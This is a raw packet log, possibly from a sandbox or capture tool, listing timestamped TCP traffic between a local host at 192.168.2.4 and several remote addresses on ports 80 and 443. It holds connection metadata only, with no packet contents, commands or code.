Nov 7, 2024 06:01:18.249690056 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.249701977 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.249711990 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.249716997 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.249725103 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.249730110 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.249737024 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.249748945 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.249758959 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.249759912 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.249769926 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.249782085 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.249793053 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.249799967 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.249813080 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.249823093 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.249824047 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.249835014 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.249835968 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.249849081 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.249860048 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.249871016 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.249887943 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.249896049 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.249900103 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.249917030 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.249927998 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.249941111 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.249943018 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.249953985 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.249958038 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.249970913 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.249975920 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.249984026 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.249995947 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.250010967 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.250014067 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.250024080 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.250070095 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.250560999 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.250607014 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.250612020 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.250634909 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.250674009 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.250706911 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.250719070 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.250760078 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.315665960 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.315680981 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.315692902 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.315771103 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.315778017 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.315792084 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.315795898 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.315804958 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.315815926 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.315823078 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.315826893 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.315839052 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.315850973 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.315851927 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.315866947 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.315874100 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.315881014 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.315886974 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.315893888 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.315907001 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.315916061 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.315946102 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.316071033 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316082001 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316092014 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316113949 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.316117048 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316129923 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316139936 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316145897 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.316159010 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316170931 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316173077 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.316183090 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316185951 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.316200018 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316210985 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316215992 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.316224098 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316234112 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316245079 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316246986 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.316252947 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.316257954 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316271067 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316279888 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.316287041 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316309929 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.316324949 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.316364050 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316374063 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316385031 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316407919 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.316432953 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.316504955 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316515923 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316530943 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316545010 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316556931 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316561937 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.316562891 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316575050 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.316579103 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316597939 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316601992 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.316610098 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316617012 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.316621065 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316638947 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316649914 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316658974 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316663980 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316665888 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.316682100 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316690922 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.316694975 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316709042 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316715002 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.316720963 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316725969 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.316734076 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316749096 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.316767931 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316778898 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316786051 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.316791058 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316809893 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316816092 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.316823006 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316834927 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.316834927 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316845894 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.316848993 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316862106 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316874027 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.316880941 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316893101 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316903114 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316905022 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.316916943 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.316922903 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316936016 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316946030 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316948891 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.316958904 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316971064 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316982985 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.316982985 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.316994905 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.317001104 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.317027092 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.317053080 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.357981920 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358002901 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358020067 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358032942 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358045101 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358131886 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.358156919 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358167887 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358180046 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358182907 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.358186007 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358197927 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358202934 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.358217001 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358227968 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358236074 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.358239889 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358253002 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358263969 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358267069 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.358275890 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358284950 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.358294010 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358304977 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358315945 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358319044 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.358326912 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358338118 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358349085 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.358361959 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358371973 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358378887 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.358386993 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358393908 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.358398914 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358413935 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358423948 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.358427048 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358438969 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358448982 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.358477116 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.358508110 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358525038 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358536959 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358546972 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358560085 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358568907 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.358572006 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358584881 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358597994 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358591080 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.358607054 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358614922 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.358618021 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358630896 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358652115 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358655930 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.358665943 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358676910 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358684063 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.358689070 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358691931 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.358706951 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358715057 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.358724117 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358735085 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358745098 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358747959 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.358752012 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358762026 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.358805895 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.358809948 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358822107 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358828068 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358845949 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358855009 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358875036 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.358891964 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.358897924 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358936071 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358947039 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.358967066 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.358983994 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.359002113 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.359014988 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.359024048 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.359038115 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.359040022 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.359052896 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.359054089 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.359075069 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.359098911 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.367264986 CET	443	49840	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:18.368422985 CET	49840	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:18.368422985 CET	49840	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:18.368443966 CET	443	49840	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:18.368458033 CET	443	49840	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:18.396641016 CET	443	49841	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:18.397217035 CET	49841	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:18.397234917 CET	443	49841	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:18.397725105 CET	49841	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:18.397748947 CET	443	49841	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:18.443372965 CET	443	49842	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:18.445122004 CET	49842	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:18.445147038 CET	443	49842	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:18.445637941 CET	49842	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:18.445641994 CET	443	49842	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:18.498306990 CET	443	49840	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:18.498344898 CET	443	49840	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:18.498405933 CET	49840	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:18.498413086 CET	443	49840	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:18.498485088 CET	49840	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:18.498756886 CET	49840	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:18.498783112 CET	443	49840	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:18.498792887 CET	49840	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:18.498797894 CET	443	49840	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:18.502144098 CET	49846	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:18.502185106 CET	443	49846	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:18.502307892 CET	49846	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:18.502466917 CET	49846	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:18.502481937 CET	443	49846	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:18.526010036 CET	443	49841	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:18.526073933 CET	443	49841	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:18.526184082 CET	49841	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:18.526494026 CET	49841	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:18.526508093 CET	443	49841	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:18.526516914 CET	49841	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:18.526523113 CET	443	49841	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:18.529551983 CET	49847	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:18.529607058 CET	443	49847	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:18.529695988 CET	49847	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:18.529872894 CET	49847	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:18.529891014 CET	443	49847	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:18.573400021 CET	443	49842	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:18.573476076 CET	443	49842	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:18.573532104 CET	49842	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:18.573710918 CET	49842	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:18.573710918 CET	49842	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:18.573735952 CET	443	49842	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:18.573745966 CET	443	49842	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:18.577883959 CET	49848	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:18.577927113 CET	443	49848	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:18.578125000 CET	49848	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:18.578475952 CET	49848	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:18.578491926 CET	443	49848	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:18.848522902 CET	443	49844	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:18.848602057 CET	49844	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:18.850369930 CET	49844	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:18.850385904 CET	443	49844	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:18.850636959 CET	443	49844	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:18.851852894 CET	49844	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:18.852054119 CET	49844	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:18.852087975 CET	443	49844	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:18.852148056 CET	49844	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:18.852163076 CET	443	49844	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:18.944237947 CET	443	49843	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:18.948314905 CET	49843	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:18.948344946 CET	443	49843	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:18.948820114 CET	49843	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:18.948826075 CET	443	49843	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:18.969903946 CET	443	49845	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:18.972209930 CET	49845	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:18.972268105 CET	443	49845	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:18.972641945 CET	49845	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:18.972647905 CET	443	49845	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.077284098 CET	443	49843	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.077363968 CET	443	49843	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.077539921 CET	49843	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:19.081928015 CET	49843	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:19.081952095 CET	443	49843	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.081967115 CET	49843	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:19.081974030 CET	443	49843	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.085165024 CET	49849	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:19.085216999 CET	443	49849	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.085294008 CET	49849	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:19.085491896 CET	49849	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:19.085501909 CET	443	49849	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.096739054 CET	443	49845	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.096770048 CET	443	49845	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.096817970 CET	443	49845	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:19.096838951 CET	49845	443	192.168.2.4	13.107.246.45
